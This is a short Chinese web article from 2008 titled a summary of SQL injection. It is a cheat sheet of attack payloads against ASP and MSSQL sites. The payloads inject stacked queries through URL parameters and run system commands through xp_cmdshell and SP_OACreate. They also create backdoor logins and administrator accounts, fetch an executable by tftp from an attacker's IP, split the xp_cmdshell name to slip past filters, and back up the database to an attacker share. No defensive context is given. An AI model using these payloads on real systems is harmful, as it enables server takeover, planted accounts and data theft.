SQL注入总结大全

　2008-10-27 16:51:32　来源：WEB开发网　　　

核心提示： http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);-- 传统的存在xp_cmdshell的测试过程：;exec maste

http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--

http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--

传统的存在xp_cmdshell的测试过程：

;exec master..xp_cmdshell 'dir' ;exec master.dbo.sp_addlogin hax;-- ;exec master.dbo.sp_password null,hax,hax;-- ;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';-- exec master..xp_servicecontrol 'start', 'schedule' exec master..xp_servicecontrol 'start', 'server' http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：WINNTsystem32cmd.exe /c net user swap 5258 /add' ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：WINNTsystem32cmd.exe /c net localgroup administrators swap/add' http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'- declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:' declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:' ;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'